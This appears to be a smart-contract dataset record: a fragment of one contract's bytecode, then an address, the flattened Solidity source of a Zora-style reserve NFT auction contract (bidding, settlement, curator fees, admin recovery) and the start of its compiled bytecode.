5efaf5f49f60b7bb6583eaec212fdf1600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506135d96040805190810160405280600c81526020017f6574685f726f707374656e3300000000000000000000000000000000000000008152506138f5565b600190506138f2565b600061360173b7a07bcf2ba2f2703b24c0691b5278999c59ac7e613443565b11156136a35773b7a07bcf2ba2f2703b24c0691b5278999c59ac7e600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061369a6040805190810160405280600981526020017f6574685f6b6f76616e00000000000000000000000000000000000000000000008152506138f5565b600190506138f2565b60006136c273146500cfd35b22e4a392fe0adc06de1a1368ed48613443565b11156137645773146500cfd35b22e4a392fe0adc06de1a1368ed48600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061375b6040805190810160405280600b81526020017f6574685f72696e6b6562790000000000000000000000000000000000000000008152506138f5565b600190506138f2565b6000613783736f485c8bf6fc43ea212e93bbf8ce046c7f1cb475613443565b11156137e757736f485c8bf6fc43ea212e93bbf8ce046c7f1cb475600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600190506138f2565b60006138067320e12a1f859b3feae5fb2a0a32c18f5a65555bbf613443565b111561386a577320e12a1f859b3feae5fb2a0a32c18f5a65555bbf600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600190506138f2565b60006138897351efaf4c8b3c9afbd5ab9f4bbc82784ab6ef8faa613443565b11156138ed577351efaf4c8b3c9afbd5ab9f4bbc82784ab6ef8faa600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600190506138f2565b600090505b90565b806006908051906020019061390b92919061390f565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061395057805160ff191683800117855561397e565b8280016001018555821561397e579182015b8281111561397d578251825591602001919060010190613962565b5b50905061398b919061398f565b5090565b6139b191905b808211156139ad576000816000905550600101613995565b5090565b905600a165627a7a72305820dafc872f67bf2ca162ec57c3fe7b408d7c15c125dd693c7f678e5eaa41ca9fe00029
[ 4, 7, 1, 9, 12, 13, 5 ]
0xf282F6F86d7EA7fAFE85c6D2e9bFD37643224dB9
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.6.8; pragma experimental ABIEncoderV2; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/utils/ReentrancyGuard.sol@v3.2.0 /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File contracts/Math.sol /** * @title Math * * Library for non-standard Math functions * NOTE: This file is a clone of the dydx protocol's Decimal.sol contract. * It was forked from https://github.com/dydxprotocol/solo at commit * 2d8454e02702fe5bc455b848556660629c3cad36. It has not been modified other than to use a * newer solidity in the pragma to match the rest of the contract suite of this project. */ library Math { using SafeMath for uint256; // ============ Library Functions ============ /* * Return target * (numerator / denominator). */ function getPartial( uint256 target, uint256 numerator, uint256 denominator ) internal pure returns (uint256) { return target.mul(numerator).div(denominator); } /* * Return target * (numerator / denominator), but rounded up. */ function getPartialRoundUp( uint256 target, uint256 numerator, uint256 denominator ) internal pure returns (uint256) { if (target == 0 || numerator == 0) { // SafeMath will check for zero denominator return SafeMath.div(0, denominator); } return target.mul(numerator).sub(1).div(denominator).add(1); } function to128(uint256 number) internal pure returns (uint128) { uint128 result = uint128(number); require(result == number, "Math: Unsafe cast to uint128"); return result; } function to96(uint256 number) internal pure returns (uint96) { uint96 result = uint96(number); require(result == number, "Math: Unsafe cast to uint96"); return result; } function to32(uint256 number) internal pure returns (uint32) { uint32 result = uint32(number); require(result == number, "Math: Unsafe cast to uint32"); return result; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } } // File contracts/Decimal.sol /* Copyright 2019 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /** * NOTE: This file is a clone of the dydx protocol's Decimal.sol contract. It was forked from https://github.com/dydxprotocol/solo * at commit 2d8454e02702fe5bc455b848556660629c3cad36 * * It has not been modified other than to use a newer solidity in the pragma to match the rest of the contract suite of this project */ /** * @title Decimal * * Library that defines a fixed-point number with 18 decimal places. */ library Decimal { using SafeMath for uint256; // ============ Constants ============ uint256 constant BASE_POW = 18; uint256 constant BASE = 10**BASE_POW; // ============ Structs ============ struct D256 { uint256 value; } // ============ Functions ============ function one() internal pure returns (D256 memory) { return D256({value: BASE}); } function onePlus(D256 memory d) internal pure returns (D256 memory) { return D256({value: d.value.add(BASE)}); } function mul(uint256 target, D256 memory d) internal pure returns (uint256) { return Math.getPartial(target, d.value, BASE); } function div(uint256 target, D256 memory d) internal pure returns (uint256) { return Math.getPartial(target, BASE, d.value); } } // File contracts/interfaces/IMarket.sol /** * @title Interface for Zora Protocol's Market */ interface IMarket { struct Bid { // Amount of the currency being bid uint256 amount; // Address to the ERC20 token being used to bid address currency; // Address of the bidder address bidder; // Address of the recipient address recipient; // % of the next sale to award the current owner Decimal.D256 sellOnShare; } struct Ask { // Amount of the currency being asked uint256 amount; // Address to the ERC20 token being asked address currency; } struct BidShares { // % of sale value that goes to the _previous_ owner of the nft Decimal.D256 prevOwner; // % of sale value that goes to the original creator of the nft Decimal.D256 creator; // % of sale value that goes to the seller (current owner) of the nft Decimal.D256 owner; } event BidCreated(uint256 indexed tokenId, Bid bid); event BidRemoved(uint256 indexed tokenId, Bid bid); event BidFinalized(uint256 indexed tokenId, Bid bid); event AskCreated(uint256 indexed tokenId, Ask ask); event AskRemoved(uint256 indexed tokenId, Ask ask); event BidShareUpdated(uint256 indexed tokenId, BidShares bidShares); function bidForTokenBidder(uint256 tokenId, address bidder) external view returns (Bid memory); function currentAskForToken(uint256 tokenId) external view returns (Ask memory); function bidSharesForToken(uint256 tokenId) external view returns (BidShares memory); function isValidBid(uint256 tokenId, uint256 bidAmount) external view returns (bool); function isValidBidShares(BidShares calldata bidShares) external pure returns (bool); function splitShare(Decimal.D256 calldata sharePercentage, uint256 amount) external pure returns (uint256); function configure(address mediaContractAddress) external; function setBidShares(uint256 tokenId, BidShares calldata bidShares) external; function setAsk(uint256 tokenId, Ask calldata ask) external; function removeAsk(uint256 tokenId) external; function setBid( uint256 tokenId, Bid calldata bid, address spender ) external; function removeBid(uint256 tokenId, address bidder) external; function acceptBid(uint256 tokenId, Bid calldata expectedBid) external; } // File @openzeppelin/contracts/introspection/IERC165.sol@v3.2.0 /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File contracts/interfaces/IMediaModified.sol contract IMediaModified { mapping(uint256 => address) public tokenCreators; address public marketContract; } // File contracts/ReserveAuctionV4.sol // OpenZeppelin library for performing math operations without overflows. // OpenZeppelin security library for preventing reentrancy attacks. // For interacting with Zora's Market contract. // For checking `supportsInterface`. // Smaller version of IMedia. interface IERC721Minimal { function transferFrom( address from, address to, uint256 tokenId ) external; function ownerOf(uint256 tokenId) external view returns (address owner); } interface IWETH { function deposit() external payable; function transfer(address to, uint256 value) external returns (bool); } contract ReserveAuctionV4 is ReentrancyGuard { // Use OpenZeppelin's SafeMath library to prevent overflows. using SafeMath for uint256; // ============ Constants ============ // The minimum amount of time left in an auction after a new bid is created; 15 min. uint16 public constant TIME_BUFFER = 900; // The ETH needed above the current bid for a new bid to be valid; 0.001 ETH. uint8 public constant MIN_BID_INCREMENT_PERCENT = 10; // Interface constant for ERC721, to check values in constructor. bytes4 private constant ERC721_INTERFACE_ID = 0x80ac58cd; // Allows external read `getVersion()` to return a version for the auction. uint256 private constant RESERVE_AUCTION_VERSION = 2; // ============ Immutable Storage ============ // The address of the zNFT contract, so we know when to split fees. address public immutable zoraContract; // The address of the WETH contract, so that ETH can be transferred via // WETH if native ETH transfers fail. address public immutable wethAddress; // The address that initially is able to recover assets. address public immutable adminRecoveryAddress; // ============ Mutable Storage ============ /** * To start, there will be an admin account that can recover funds * if anything goes wrong. Later, this public flag will be irrevocably * set to false, removing any admin privileges forever. * * To check if admin recovery is enabled, call the public function `adminRecoveryEnabled()`. */ bool private _adminRecoveryEnabled; /** * The account `adminRecoveryAddress` can also pause the contracts * while _adminRecoveryEnabled is enabled. This prevents people from using * the contract if there is a known problem with it. */ bool private _paused; // A mapping of all of the auctions currently running. mapping(bytes32 => Auction) public auctions; // ============ Structs ============ struct Auction { address nftContract; uint256 tokenId; // The value of the current highest bid. uint256 amount; // The amount of time that the auction should run for, // after the first bid was made. uint256 duration; // The time of the first bid. uint256 firstBidTime; // The minimum price of the first bid. uint256 reservePrice; uint8 curatorFeePercent; // The address of the auction's curator. The curator // can cancel the auction if it hasn't had a bid yet. address curator; // The address of the current highest bid. address payable bidder; // The address that should receive funds once the NFT is sold. address payable fundsRecipient; } // ============ Events ============ // All of the details of a new auction, // with an index created for the tokenId. event AuctionCreated( uint256 indexed tokenId, address nftContractAddress, uint256 duration, uint256 reservePrice, uint8 curatorFeePercent, address curator, address fundsRecipient, bytes32 auctionId ); // All of the details of a new bid, // with an index created for the tokenId. event AuctionBid( bytes32 indexed auctionId, address nftContractAddress, address sender, uint256 value ); // All of the details of an auction's cancelation, // with an index created for the tokenId. event AuctionCanceled( bytes32 indexed auctionId, address nftContractAddress, address curator ); // All of the details of an auction's close, // with an index created for the tokenId. event AuctionEnded( bytes32 indexed auctionId, address nftContractAddress, address curator, address winner, uint256 amount, address payable fundsRecipient ); // When the curator recevies fees, emit the details including the amount, // with an index created for the tokenId. event CuratorFeePercentTransfer( bytes32 indexed auctionId, address curator, uint256 amount ); // Emitted in the case that the contract is paused. event Paused(address account); // Emitted when the contract is unpaused. event Unpaused(address account); // ============ Modifiers ============ // Reverts if the sender is not admin, or admin // functionality has been turned off. modifier onlyAdminRecovery() { require( // The sender must be the admin address, and // adminRecovery must be set to true. adminRecoveryAddress == msg.sender && adminRecoveryEnabled(), "Caller does not have admin privileges" ); _; } // Reverts if the sender is not the auction's curator. modifier onlyCurator(bytes32 tokenId) { require( auctions[tokenId].curator == msg.sender, "Can only be called by auction curator" ); _; } // Reverts if the contract is paused. modifier whenNotPaused() { require(!paused(), "Contract is paused"); _; } // Reverts if the auction does not exist. modifier auctionExists(bytes32 auctionId) { // The auction exists if the curator is not null. require(!auctionCuratorIsNull(auctionId), "Auction doesn't exist"); _; } // Reverts if the auction is expired. modifier auctionNotExpired(bytes32 auctionId) { require( // Auction is not expired if there's never been a bid, or if the // current time is less than the time at which the auction ends. auctions[auctionId].firstBidTime == 0 || block.timestamp < auctionEnds(auctionId), "Auction expired" ); _; } // Reverts if the auction is not complete. // Auction is complete if there was a bid, and the time has run out. modifier auctionComplete(bytes32 tokenId) { require( // Auction is complete if there has been a bid, and the current time // is greater than the auction's end time. auctions[tokenId].firstBidTime > 0 && block.timestamp >= auctionEnds(tokenId), "Auction hasn't completed" ); _; } // ============ Constructor ============ constructor( address zoraContract_, address wethAddress_, address adminRecoveryAddress_ ) public { require( IERC165(zoraContract_).supportsInterface(ERC721_INTERFACE_ID), "Contract at zoraContract_ address does not support NFT interface" ); // Initialize immutable memory. zoraContract = zoraContract_; wethAddress = wethAddress_; adminRecoveryAddress = adminRecoveryAddress_; // Initialize mutable memory. _paused = false; _adminRecoveryEnabled = true; } // ============ Create Auction ============ function createAuction( uint256 tokenId, uint256 duration, uint256 reservePrice, uint8 curatorFeePercent, address curator, address payable fundsRecipient, address nftContract ) external nonReentrant whenNotPaused { bytes32 auctionId = getAuctionId(nftContract, tokenId); require(auctionCuratorIsNull(auctionId), "Auction already exists"); // Check basic input requirements are reasonable. require(curator != address(0)); require(fundsRecipient != address(0)); require(curatorFeePercent < 100, "Curator fee should be < 100"); // Initialize the auction details, including null values. auctions[auctionId] = Auction({ tokenId: tokenId, duration: duration, reservePrice: reservePrice, curatorFeePercent: curatorFeePercent, curator: curator, fundsRecipient: fundsRecipient, amount: 0, firstBidTime: 0, bidder: address(0), nftContract: nftContract }); if (IERC721Minimal(nftContract).ownerOf(tokenId) != address(this)) { // Transfer the NFT into this auction contract, from whoever owns it. IERC721Minimal(nftContract).transferFrom( IERC721Minimal(nftContract).ownerOf(tokenId), address(this), tokenId ); } // Emit an event describing the new auction. emit AuctionCreated( tokenId, nftContract, duration, reservePrice, curatorFeePercent, curator, fundsRecipient, auctionId ); } // ============ Create Bid ============ function createBid(bytes32 auctionId, uint256 amount) external payable nonReentrant whenNotPaused auctionExists(auctionId) auctionNotExpired(auctionId) { // Validate that the user's expected bid value matches the ETH deposit. require(amount == msg.value, "Amount doesn't equal msg.value"); require(amount > 0, "Amount must be greater than 0"); // Check if the current bid amount is 0. if (auctions[auctionId].amount == 0) { // If so, it is the first bid. auctions[auctionId].firstBidTime = block.timestamp; // We only need to check if the bid matches reserve bid for the first bid, // since future checks will need to be higher than any previous bid. require( amount >= auctions[auctionId].reservePrice, "Must bid reservePrice or more" ); } else { // Check that the new bid is sufficiently higher than the previous bid, by // the percentage defined as MIN_BID_INCREMENT_PERCENT. require( amount >= auctions[auctionId].amount.add( // Add 10% of the current bid to the current bid. auctions[auctionId] .amount .mul(MIN_BID_INCREMENT_PERCENT) .div(100) ), "Must bid more than last bid by MIN_BID_INCREMENT_PERCENT amount" ); // Refund the previous bidder. transferETHOrWETH( auctions[auctionId].bidder, auctions[auctionId].amount ); } // Update the current auction. auctions[auctionId].amount = amount; auctions[auctionId].bidder = msg.sender; // Compare the auction's end time with the current time plus the 15 minute extension, // to see whether we're near the auctions end and should extend the auction. if (auctionEnds(auctionId) < block.timestamp.add(TIME_BUFFER)) { // We add onto the duration whenever time increment is required, so // that the auctionEnds at the current time plus the buffer. auctions[auctionId].duration += block .timestamp .add(TIME_BUFFER) .sub(auctionEnds(auctionId)); } // Emit the event that a bid has been made. emit AuctionBid( auctionId, auctions[auctionId].nftContract, msg.sender, amount ); } function getAuctionId(address nftContract, uint256 tokenId) public pure returns (bytes32) { return keccak256(abi.encode(nftContract, tokenId)); } // ============ End Auction ============ function endAuction(bytes32 auctionId) external nonReentrant whenNotPaused auctionComplete(auctionId) { // Store relevant auction data in memory for the life of this function. address winner = auctions[auctionId].bidder; uint256 amount = auctions[auctionId].amount; address curator = auctions[auctionId].curator; uint8 curatorFeePercent = auctions[auctionId].curatorFeePercent; address payable fundsRecipient = auctions[auctionId].fundsRecipient; // We don't use safeTransferFrom, to prevent reverts at this point, // which would break the auction. IERC721Minimal(auctions[auctionId].nftContract).transferFrom( address(this), winner, auctions[auctionId].tokenId ); // First handle the curator's fee. if (curatorFeePercent > 0) { // Determine the curator amount, which is some percent of the total. uint256 curatorAmount = amount.mul(curatorFeePercent).div(100); // Send it to the curator. transferETHOrWETH(curator, curatorAmount); // Subtract the curator amount from the total funds available // to send to the funds recipient and original NFT creator. amount = amount.sub(curatorAmount); // Emit the details of the transfer as an event. emit CuratorFeePercentTransfer(auctionId, curator, curatorAmount); } if (auctions[auctionId].nftContract == zoraContract) { // Get the address of the original creator, so that we can split shares // if appropriate. address payable nftCreator = payable( address( IMediaModified(zoraContract).tokenCreators( auctions[auctionId].tokenId ) ) ); // If the creator and the recipient of the funds are the same // (and we expect this to be common), we can just do one transaction. if (nftCreator == fundsRecipient) { transferETHOrWETH(nftCreator, amount); } else { // Otherwise, we should determine the percent that goes to the creator. // Collect share data from Zora. uint256 creatorAmount = // Call the splitShare function on the market contract, which // takes in a Decimal and an amount. IMarket(IMediaModified(zoraContract).marketContract()) .splitShare( // Fetch the decimal from the BidShares data on the market. IMarket(IMediaModified(zoraContract).marketContract()) .bidSharesForToken(auctions[auctionId].tokenId) .creator, // Specify the amount. amount ); // Send the creator's share to the creator. transferETHOrWETH(nftCreator, creatorAmount); // Send the remainder of the amount to the funds recipient. transferETHOrWETH(fundsRecipient, amount.sub(creatorAmount)); } } else { // Send the full amount to the funds recipient. transferETHOrWETH(fundsRecipient, amount); } // Emit an event describing the end of the auction. emit AuctionEnded( auctionId, auctions[auctionId].nftContract, curator, winner, amount, fundsRecipient ); // Remove all auction data for this token from storage. delete auctions[auctionId]; } // ============ Cancel Auction ============ function cancelAuction(bytes32 auctionId) external nonReentrant auctionExists(auctionId) onlyCurator(auctionId) { // Check that there hasn't already been a bid for this NFT. require( uint256(auctions[auctionId].firstBidTime) == 0, "Auction already started" ); // Pull the creator address before removing the auction. address curator = auctions[auctionId].curator; // Transfer the NFT back to the curator. IERC721Minimal(auctions[auctionId].nftContract).transferFrom( address(this), curator, auctions[auctionId].tokenId ); // Emit an event describing that the auction has been canceled. emit AuctionCanceled( auctionId, auctions[auctionId].nftContract, curator ); // Remove all data about the auction. delete auctions[auctionId]; } // ============ Admin Functions ============ // Irrevocably turns off admin recovery. function turnOffAdminRecovery() external onlyAdminRecovery { _adminRecoveryEnabled = false; } function pauseContract() external onlyAdminRecovery { _paused = true; emit Paused(msg.sender); } function unpauseContract() external onlyAdminRecovery { _paused = false; emit Unpaused(msg.sender); } // Allows the admin to transfer any NFT from this contract // to the recovery address. function recoverNFT(bytes32 auctionId) external onlyAdminRecovery { IERC721Minimal(auctions[auctionId].nftContract).transferFrom( // From the auction contract. address(this), // To the recovery account. adminRecoveryAddress, // For the specified token. auctions[auctionId].tokenId ); } // Allows the admin to transfer any ETH from this contract to the recovery address. function recoverETH(uint256 amount) external onlyAdminRecovery returns (bool success) { // Attempt an ETH transfer to the recovery account, and return true if it succeeds. success = attemptETHTransfer(adminRecoveryAddress, amount); } // ============ Miscellaneous Public and External ============ // Returns true if the contract is paused. function paused() public view returns (bool) { return _paused; } // Returns true if admin recovery is enabled. function adminRecoveryEnabled() public view returns (bool) { return _adminRecoveryEnabled; } // Returns the version of the deployed contract. function getVersion() external pure returns (uint256 version) { version = RESERVE_AUCTION_VERSION; } // ============ Private Functions ============ // Will attempt to transfer ETH, but will transfer WETH instead if it fails. function transferETHOrWETH(address to, uint256 value) private { // Try to transfer ETH to the given recipient. if (!attemptETHTransfer(to, value)) { // If the transfer fails, wrap and send as WETH, so that // the auction is not impeded and the recipient still // can claim ETH via the WETH contract (similar to escrow). IWETH(wethAddress).deposit{value: value}(); IWETH(wethAddress).transfer(to, value); // At this point, the recipient can unwrap WETH. } } // Sending ETH is not guaranteed complete, and the method used here will return false if // it fails. For example, a contract can block ETH transfer, or might use // an excessive amount of gas, thereby griefing a new bidder. // We should limit the gas used in transfers, and handle failure cases. function attemptETHTransfer(address to, uint256 value) private returns (bool) { // Here increase the gas limit a reasonable amount above the default, and try // to send ETH to the recipient. // NOTE: This might allow the recipient to attempt a limited reentrancy attack. (bool success, ) = to.call{value: value, gas: 30000}(""); return success; } // Returns true if the auction's curator is set to the null address. function auctionCuratorIsNull(bytes32 auctionId) private view returns (bool) { // The auction does not exist if the curator is the null address, // since the NFT would not have been transferred in `createAuction`. return auctions[auctionId].curator == address(0); } // Returns the timestamp at which an auction will finish. function auctionEnds(bytes32 auctionId) private view returns (uint256) { // Derived by adding the auction's duration to the time of the first bid. // NOTE: duration can be extended conditionally after each new bid is added. return auctions[auctionId].firstBidTime.add(auctions[auctionId].duration); } }
0x6080604052600436106101145760003560e01c806353653131116100a0578063b61c935411610064578063b61c9354146102c9578063bc996819146102de578063c159934b14610300578063d333555314610320578063fafe0d1f1461034057610114565b806353653131146102465780635c975abb146102685780637788a3871461028a57806398c055911461029f578063b33712c5146102b457610114565b80633bd98044116100e75780633bd98044146101af5780633ef4d130146101cf5780633ff9d326146101ef578063439766ce1461020f5780634f0e0ef31461022457610114565b806301db46a0146101195780630d8e6e2c1461013b5780631277b0c9146101665780631edbc5be14610179575b600080fd5b34801561012557600080fd5b50610139610134366004611a58565b610355565b005b34801561014757600080fd5b50610150610973565b60405161015d9190611cc4565b60405180910390f35b610139610174366004611a70565b610978565b34801561018557600080fd5b50610199610194366004611a58565b610c49565b60405161015d9a99989796959493929190611c18565b3480156101bb57600080fd5b506101396101ca366004611afb565b610caf565b3480156101db57600080fd5b506101396101ea366004611a58565b6110c5565b3480156101fb57600080fd5b5061015061020a366004611a0d565b6112d2565b34801561021b57600080fd5b50610139611306565b34801561023057600080fd5b506102396113a6565b60405161015d9190611b7d565b34801561025257600080fd5b5061025b6113ca565b60405161015d91906120c3565b34801561027457600080fd5b5061027d6113d0565b60405161015d9190611cb9565b34801561029657600080fd5b5061027d6113de565b3480156102ab57600080fd5b506101396113e7565b3480156102c057600080fd5b5061013961144a565b3480156102d557600080fd5b506102396114dc565b3480156102ea57600080fd5b506102f3611500565b60405161015d91906120d2565b34801561030c57600080fd5b5061013961031b366004611a58565b611505565b34801561032c57600080fd5b5061027d61033b366004611a58565b6115f8565b34801561034c57600080fd5b5061023961167b565b600260005414156103815760405162461bcd60e51b815260040161037890612054565b60405180910390fd5b600260005561038e6113d0565b156103ab5760405162461bcd60e51b815260040161037890612028565b6000818152600260205260409020600401548190158015906103d557506103d18161169f565b4210155b6103f15760405162461bcd60e51b815260040161037890611ff1565b60008281526002602081905260409182902060078101549181015460068201546008830154835460019094015495516323b872dd60e01b81526001600160a01b03958616969395610100840481169560ff909416949281169316916323b872dd916104639130918a9190600401611bab565b600060405180830381600087803b15801561047d57600080fd5b505af1158015610491573d6000803e3d6000fd5b5050505060ff82161561051e5760006104c460646104b88760ff871663ffffffff6116c716565b9063ffffffff61170816565b90506104d0848261174a565b6104e0858263ffffffff61187216565b9450877f5773b0a385100a0b02bbde756bfe4785ee0975a3a9794916e6cb44260beb562f8583604051610514929190611bff565b60405180910390a2505b6000878152600260205260409020547f000000000000000000000000abefbc9fd2f806065b4f3c237d4b59d9a97bcac76001600160a01b03908116911614156108995760008781526002602052604080822060010154905163e0fd045f60e01b81526001600160a01b037f000000000000000000000000abefbc9fd2f806065b4f3c237d4b59d9a97bcac7169163e0fd045f916105be9190600401611cc4565b60206040518083038186803b1580156105d657600080fd5b505afa1580156105ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060e91906119f1565b9050816001600160a01b0316816001600160a01b0316141561063957610634818661174a565b610893565b60007f000000000000000000000000abefbc9fd2f806065b4f3c237d4b59d9a97bcac76001600160a01b031663a1794bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561069457600080fd5b505afa1580156106a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106cc91906119f1565b6001600160a01b031663b920c1237f000000000000000000000000abefbc9fd2f806065b4f3c237d4b59d9a97bcac76001600160a01b031663a1794bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561073357600080fd5b505afa158015610747573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076b91906119f1565b60008c81526002602052604090819020600101549051637ce702c160e11b81526001600160a01b03929092169163f9ce0582916107aa91600401611cc4565b60606040518083038186803b1580156107c257600080fd5b505afa1580156107d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fa9190611a91565b60200151886040518363ffffffff1660e01b815260040161081c9291906120b4565b60206040518083038186803b15801561083457600080fd5b505afa158015610848573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086c9190611ae3565b9050610878828261174a565b6108918361088c888463ffffffff61187216565b61174a565b505b506108a3565b6108a3818561174a565b6000878152600260205260409081902054905188917fac643be406473bc097dd2c396f1cab6e8686abcbfaa617f4f0846c11eb861570916108f5916001600160a01b03169087908a908a908890611bcf565b60405180910390a250505060009384525050600260208190526040832080546001600160a01b0319908116825560018083018690559282018590556003820185905560048201859055600582018590556006820180546001600160a81b03191690556007820180548216905560089091018054909116905590915550565b600290565b6002600054141561099b5760405162461bcd60e51b815260040161037890612054565b60026000556109a86113d0565b156109c55760405162461bcd60e51b815260040161037890612028565b816109cf816118b4565b156109ec5760405162461bcd60e51b815260040161037890611f46565b60008381526002602052604090206004015483901580610a135750610a108161169f565b42105b610a2f5760405162461bcd60e51b81526004016103789061208b565b348314610a4e5760405162461bcd60e51b815260040161037890611e3a565b60008311610a6e5760405162461bcd60e51b815260040161037890611dbe565b60008481526002602081905260409091200154610ac157600084815260026020526040902042600482015560050154831015610abc5760405162461bcd60e51b815260040161037890611d50